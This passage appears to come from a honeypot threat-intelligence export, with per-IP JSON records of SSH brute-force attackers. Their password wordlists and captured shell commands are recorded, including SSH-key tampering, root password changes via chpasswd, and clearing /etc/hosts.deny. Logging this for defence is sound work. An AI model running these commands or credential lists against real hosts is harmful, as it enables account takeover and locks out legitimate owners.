        "first_seen_30d": "2026-05-12T23:22:45.362000+00:00",
        "last_seen_30d": "2026-05-30T16:56:17.749000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 483,
        "Suricata": 133
      }
    },
    "58.72.212.171": {
      "attack_count": 359,
      "first_seen": "2026-05-06T08:46:35.717Z",
      "last_seen": "2026-05-06T18:15:36.946Z",
      "sessions": 60,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "postgres",
        "test",
        "admin",
        "user",
        "oracle",
        "testuser",
        "username",
        "345gs5662d34",
        "Administrator",
        "azureuser",
        "debian",
        "deployer",
        "dev1",
        "devops",
        "ftp",
        "ftpuser",
        "gitworker",
        "guest1"
      ],
      "passwords_attempted": [
        "1",
        "1234",
        "12344321",
        "123456",
        "1234567890",
        "123element098",
        "123qwe",
        "123test456",
        "12qwaszx",
        "1q2w3e4r5",
        "3245gs5662d34",
        "345gs5662d34",
        "8888",
        "AAaa123456",
        "Admin@123",
        "PASSWORD",
        "Password1",
        "Password1!",
        "Qwerty123.",
        "a"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"1q2w3e4r5\\n1Cup5bNFyxi9\\n1Cup5bNFyxi9\\n\"|passwd",
        "echo -e \"1q2w3e4r5\\n1Cup5bNFyxi9\\n1Cup5bNFyxi9\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 491,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T08:46:35.717000+00:00",
        "last_seen_30d": "2026-05-06T18:16:38.393000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 359,
        "Suricata": 132
      }
    },
    "38.250.161.250": {
      "attack_count": 357,
      "first_seen": "2026-05-06T01:11:29.558Z",
      "last_seen": "2026-05-06T01:41:44.745Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "es",
        "guest",
        "odoo",
        "test",
        "admin_123",
        "deploy",
        "devuser",
        "ftp_test",
        "madmin",
        "matt",
        "postgres",
        "server1",
        "sftpuser",
        "superadmin",
        "tempuser1",
        "user",
        "user2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "11111111",
        "123",
        "12345",
        "123456",
        "1qazXSW@3edc",
        "54321",
        "654321",
        "Pass",
        "Password1!",
        "Qwerty123.",
        "admin",
        "admin69",
        "admin_123",
        "asdlkj",
        "devuser@1234",
        "es123123",
        "ftp_test",
        "letmein"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Qwerty123.\\nFqjZUAGL1ipw\\nFqjZUAGL1ipw\\n\"|passwd",
        "echo \"odoo@2024\\njHD6653IwerA\\njHD6653IwerA\\n\"|passwd",
        "echo \"qwert12345\\nKkZoIWfa7VNJ\\nKkZoIWfa7VNJ\\n\"|passwd",
        "echo -e \"Qwerty123.\\nFqjZUAGL1ipw\\nFqjZUAGL1ipw\"|passwd|bash",
        "echo -e \"odoo@2024\\njHD6653IwerA\\njHD6653IwerA\"|passwd|bash",
        "echo -e \"qwert12345\\nKkZoIWfa7VNJ\\nKkZoIWfa7VNJ\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": null,
      "asn": 3132,
      "as_org": "Red Cientifica Peruana",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 436,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T01:11:29.558000+00:00",
        "last_seen_30d": "2026-05-06T01:42:46.268000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 357,
        "Suricata": 79
      }
    },
    "170.106.67.57": {
      "attack_count": 314,
      "first_seen": "2026-05-16T10:08:57.637Z",
      "last_seen": "2026-05-16T10:36:08.223Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "amin",
        "debian",
        "javier",
        "nabi",
        "oficina",
        "parth",
        "ravi",
        "ubuntu",
        "wxx",
        "xyh"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "111",
        "123",
        "123456",
        "123456789**",
        "123asd123",
        "20192019",
        "336699",
        "55",
        "Aa147258+",
        "abc123!",
        "admin.2024",
        "amin",
        "cnp200@HW",
        "ehsan",
        "javier",
        "nabi123",
        "oficina",
        "parth"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:5osQP8ivA4Ic\"|chpasswd|bash",
        "echo \"root:bsP5VJKDA1ZG\"|chpasswd|bash",
        "echo \"root:l0PpxeoM7j0X\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 375,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T10:08:57.637000+00:00",
        "last_seen_30d": "2026-05-16T10:37:12.453000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 314,
        "Suricata": 61
      }
    },
    "43.130.2.126": {
      "attack_count": 314,
      "first_seen": "2026-05-17T04:36:52.270Z",
      "last_seen": "2026-05-17T05:07:03.423Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1111111",
        "123456Lv",
        "20192019",
        "Asd123!@",
        "`123qwe",
        "admin!@",
        "appleseed",
        "centos",
        "coffe1",
        "cradle",
        "cuda",
        "ganteng123",
        "jackie",
        "jair",
        "nuevo",
        "ozzy123",
        "red",
        "rstudio-server"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Isg9O4PP7vx6\"|chpasswd|bash",
        "echo \"root:N7ohSsff6M08\"|chpasswd|bash",
        "echo \"root:rzZf3rGX4Oma\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 376,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T04:36:52.270000+00:00",
        "last_seen_30d": "2026-05-17T05:08:04.713000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 314,
        "Suricata": 62
      }
    },
    "103.146.23.195": {
      "attack_count": 241,
      "first_seen": "2026-05-20T08:24:47.886Z",
      "last_seen": "2026-05-20T08:54:46.825Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "app",
        "botuser",
        "claude",
        "git",
        "hydra",
        "mysql",
        "surya",
        "syncthing",
        "umair",
        "yogesh"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "13579",
        "1q2w3e4r",
        "2323",
        "8i9o0p-[",
        "Abc123456!",
        "Hs123456",
        "Zl123456789",
        "admin!@#123",
        "claude123",
        "demo123",
        "hydra",
        "linux@2024",
        "packer",
        "password",
        "r00tme",
        "root",
        "surya"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:XwSKvebFv5iG\"|chpasswd|bash",
        "echo \"root:g8B2iKgGDqdg\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131366,
      "as_org": "Lanit Technology and Communication Joint Stock Company",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 297,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T08:24:47.886000+00:00",
        "last_seen_30d": "2026-05-20T08:55:53.018000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 56
      }
    },
    "43.159.168.55": {
      "attack_count": 236,
      "first_seen": "2026-05-17T16:04:59.578Z",
      "last_seen": "2026-05-17T16:30:42.536Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "it",
        "root1",
        "user7",
        "wli"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123123123",
        "1234",
        "12345Qwert",
        "1qazZAQ!@",
        "302010",
        "Apple@2024",
        "Long@123",
        "Master123",
        "P@ssw1rd",
        "Power123",
        "Server2026#",
        "Vps@2024",
        "Woaini1314",
        "aaaa1111",
        "admin2023",
        "expand",
        "root@123."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:2l9ccosW6BPC\"|chpasswd|bash",
        "echo \"root:aeKRSmB9RKEw\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 20.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T16:04:59.578000+00:00",
        "last_seen_30d": "2026-05-17T16:31:43.089000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 236,
        "Suricata": 53
      }
    },
    "70.32.113.19": {
      "attack_count": 210,
      "first_seen": "2026-05-30T09:19:30.399Z",
      "last_seen": "2026-05-30T16:08:02.465Z",
      "sessions": 105,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 37.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 377,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T09:19:30.399000+00:00",
        "last_seen_30d": "2026-05-30T16:09:10.173000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 210,
        "Suricata": 167
      }
    },
    "115.97.215.105": {
      "attack_count": 204,
      "first_seen": "2026-05-22T21:01:12.784Z",
      "last_seen": "2026-05-23T07:48:50.497Z",
      "sessions": 102,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 17488,
      "as_org": "Hathway IP Over Cable Internet",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 308,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T21:01:12.784000+00:00",
        "last_seen_30d": "2026-05-23T07:49:57.496000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 104
      }
    },
    "218.51.148.194": {
      "attack_count": 204,
      "first_seen": "2026-05-09T09:06:14.633Z",
      "last_seen": "2026-05-09T09:43:08.380Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "345gs5662d34",
        "admin",
        "amir",
        "ftpuser",
        "postgres",
        "user4",
        "administrador",
        "ali",
        "apache",
        "botuser",
        "dbuser",
        "deploy",
        "dev",
        "mark",
        "mysql",
        "nuser",
        "odoo",
        "qadmin",
        "root"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "admin123",
        "11",
        "123123",
        "123456",
        "1234rewq",
        "123qwe",
        "1q2w3e4r5t6y",
        "1qaz!QAZ",
        "222333",
        "Aa123456",
        "P@ssword1",
        "Passwords",
        "Qwerty123",
        "a1s2d3",
        "admin!@#",
        "admin123456@",
        "adminadmin",
        "changeme"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Mapo-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 283,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T09:06:14.633000+00:00",
        "last_seen_30d": "2026-05-09T09:44:11.722000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 79
      }
    },
    "41.60.238.202": {
      "attack_count": 202,
      "first_seen": "2026-05-20T18:30:43.438Z",
      "last_seen": "2026-05-21T06:33:20.332Z",
      "sessions": 101,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Zambia",
      "country_code": "ZM",
      "city": "Lusaka",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 25.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 303,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:30:43.438000+00:00",
        "last_seen_30d": "2026-05-21T06:34:22.942000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 202,
        "Suricata": 101
      }
    },
    "121.233.166.92": {
      "attack_count": 196,
      "first_seen": "2026-05-20T18:30:25.720Z",
      "last_seen": "2026-05-21T06:20:58.966Z",
      "sessions": 98,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 298,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T18:30:25.720000+00:00",
        "last_seen_30d": "2026-05-21T06:33:04.248000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 196,
        "Suricata": 102
      }
    },
    "95.81.96.6": {
      "attack_count": 187,
      "first_seen": "2026-05-22T19:18:14.482Z",
      "last_seen": "2026-05-22T20:05:22.329Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "alice",
        "bhx",
        "leonard",
        "testuser",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123123Aa",
        "12345678",
        "123456aB",
        "Huawei@1234",
        "abcd1234!",
        "alice",
        "ansible",
        "bhx",
        "leonard123",
        "ucloud.cn"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"alice\\nNUPrIGVJgkfT\\nNUPrIGVJgkfT\\n\"|passwd",
        "echo \"root:cuSTs3mHueG6\"|chpasswd|bash",
        "echo -e \"alice\\nNUPrIGVJgkfT\\nNUPrIGVJgkfT\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 216154,
      "as_org": "Clodo Cloud Service Co. L.L.C",
      "threat_score": 25.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T19:18:14.482000+00:00",
        "last_seen_30d": "2026-05-22T20:06:28.993000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 187,
        "Suricata": 37
      }
    },
    "31.56.197.158": {
      "attack_count": 169,
      "first_seen": "2026-05-12T21:32:31.318Z",
      "last_seen": "2026-05-12T22:35:44.034Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "345gs5662d34",
        "botuser",
        "git",
        "gpadmin",
        "prod",
        "runner",
        "sentry",
        "shin",
        "wt",
        "xt"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "123123",
        "123456@a",
        "123QWEasd",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa12345678.",
        "Asdf2023",
        "Mo123456",
        "None",
        "P@ssw0rd!",
        "Pa$$w0rd",
        "Test@123456",
        "password123",
        "qazwsx!",
        "qazwsx123",
        "sentry",
        "shin",
        "test"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123QWEasd\\nM4zmv3FkRjsq\\nM4zmv3FkRjsq\\n\"|passwd",
        "echo -e \"123QWEasd\\nM4zmv3FkRjsq\\nM4zmv3FkRjsq\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 13.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 221,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T21:32:31.318000+00:00",
        "last_seen_30d": "2026-05-12T22:36:51.375000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 169,
        "Suricata": 52
      }
    },
    "138.124.158.150": {
      "attack_count": 168,
      "first_seen": "2026-05-13T14:08:58.792Z",
      "last_seen": "2026-05-13T14:49:52.446Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "!Qaz2wsx3edc",
        ")(*",
        "123zxc123",
        "1909",
        "1QAZ2wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "alexa",
        "banana666",
        "cart00ns",
        "crazy2005",
        "docker123456",
        "georgia",
        "jimmy123",
        "jumpuser",
        "megavnn1",
        "parts",
        "qaz12wsx",
        "qwert123",
        "rancher123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:YqwxU2xu1AfF\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
